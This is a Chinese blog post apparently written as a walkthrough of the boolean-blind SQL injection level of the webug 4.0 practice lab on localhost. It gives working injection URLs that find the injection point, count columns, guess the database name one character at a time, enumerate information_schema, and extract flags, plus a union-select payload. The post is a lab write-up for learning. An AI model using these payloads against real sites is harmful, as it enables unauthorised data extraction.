webug4.0布尔注入-2

2019/03/14 22:02
阅读数 69

/*做这个到最后爆表的时候手工终于爆完了,然后发现爆错表了真是暴风哭泣*/

  布尔注入是盲注之一,进行sql语句注入后,选择的数据并不能返回到前端。只能利用其他方法来判断,还是简单介绍下学到的知识点。

1. left(database(),n)    database() 数据库名称   left()函数表示截取数据库左侧n个字符 

2. substr(a,b,c)      从字符串a的b位置开始截取c个字符,当b为负数时截取位置是从字符串a右端向左数b个字符

3. mid(a,b,c)        从字符串a的b位置开始截取c个字符,c为非必需若省略返回剩余文本

4. ord()与ascii()      这两个函数都是将字符转化成ascii值

5. limit i,n第一个参数:从i开始查 ; 第二个参数:查n条

6. 有时不报错可能是因为前面语句没错误,使得union后面语句没执行

7. IFNULL(exp1,exp2) 如果exp1不为null,返回exp1否则返回exp2

8. cast(exp as data_type)as之前是待处理数据,后面是要转换的类型。有时还有要求eg:CAST('12.5' AS decimal(10,2)) 10代表所有数字位数限制为10 ,2表示小数点后两位  故结果为12.50  如果前面type换成int 则运行错误 。另精度和小数位数的默认值分别是18与0,decimal下 浮点数不说明的情况下会出来整数。

 

步入正题~看到网址加单引号

http://localhost/control/sqlinject/bool_injection.php?id=1'

发现页面变了,然后我们就根据页面的变化来判断我们执行的语句是否正确。

然后构造' or 1=1%23

http://localhost/control/sqlinject/bool_injection.php?id=1' or 1=1%23

发现页面又变正常了,注入点就在这了。接下来从1开始判断字段个数

http://localhost/control/sqlinject/bool_injection.php?id=1' order by 3%23

在3时页面发生了变化,得出字段个数为2。然后利用left()函数判断测试出当前数据库名字,可以先判断当前数据库名字长度(可有可无,不过这样心里有底)

http://localhost/control/sqlinject/bool_injection.php?id=1' and length(database())>4%23      

就是这样一步一步测试看页面是否发生变化,测试出长度为5

http://localhost/control/sqlinject/bool_injection.php?id=1' and left(database(),1)>'a' %23

调整字符和大于号小于号来判断数据库第一个字符是什么,机智的你想到了二分法能较快定位出第一个字符,结果是’w‘。

那第二个字符怎么判断出来呢?改一下数字?对 但后面得加一个测试字符

http://localhost/control/sqlinject/bool_injection.php?id=1' and left(database(),2)>'wa' %23

最后得出当前数据库名字:webug          心思缜密的你说万一flag不在当前数据库呢,或者我想要其他的数据库的名字呢?别着急,先爆这个当前数据库里面的表

http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='webug' limit 0,1),1,1))>98%23

这是在定位webug里第一个表第一个字符,那怎么判断第二个字符呢?   就是修改为substr(***,2,1)

机智的你那么也就想到了判断第二个表的方法 limit 1,1   

爆出webug下的表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test

到这里爆所有数据库名字的方法也就清晰了

http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>97%23

 

/**************************************************************************************

我毫不犹豫选择了爆flag这个表(大声哭泣)

http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))>100%23

flag表里面有id flag    那flag里面一定有我想要的(信心满满)

http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select flag from flag where id=1 limit 0,1),1,1))>99%23

我尝试修改 limit 1,1报错 id=2也报错

凭借着力大出迹爆出来:dfafdasfafdsadfa

好熟悉的内容这不就是第一关的flag吗?提交后显示错误,后来我看了数据库内容发现flag里就一条内容。。。 

也就说真正的flag在其他表里

**************************************************************************************/

在爆env_list表时

http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='env_list' limit 0,1),1,1))>97%23

env_list表里有:id,envName,envDesc,envIntegration,delFlag,envFlag,level,type

/**********************此时我猜测所有事件flag都在里面,可以简单测试下第一关的flag

http://localhost/control/sqlinject/bool_injection.php?id=1' and substr((select envFlag from env_list where id=1 limit 0,1),1,16)='dfafdasfafdsadfa'%23

然后页面没有变化,表示正确。果然所有flag都在这个表,那岂不是这可盲打出所有flag!!!等等第一关修改id就可以直接打出所有flag

http://localhost/control/sqlinject/manifest_error.php?id=-1'  union select 1,envflag from env_list where id=1 %23

flag不重要,重要的是过程能学到很多。

*****************************/

判断测试第二关flag第一个字符

http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select envFlag from env_list where id=2 limit 0,1),1,1))>98%23

最后得出flag:fdsafsdfa

 

下面一种方法与上类似,算是一个彩蛋

http://localhost/control/sqlinject/bool_injection.php?id=1' and ord(mid((select ifnull(cast(envFlag as char),2)from webug.env_list  order by id limit 1,1),1,1))>97%23

 

展开阅读全文
php
加载中

作者的其它热门文章

打赏
0
0 收藏
分享
打赏
0 评论
0 收藏
0
分享
返回顶部
顶部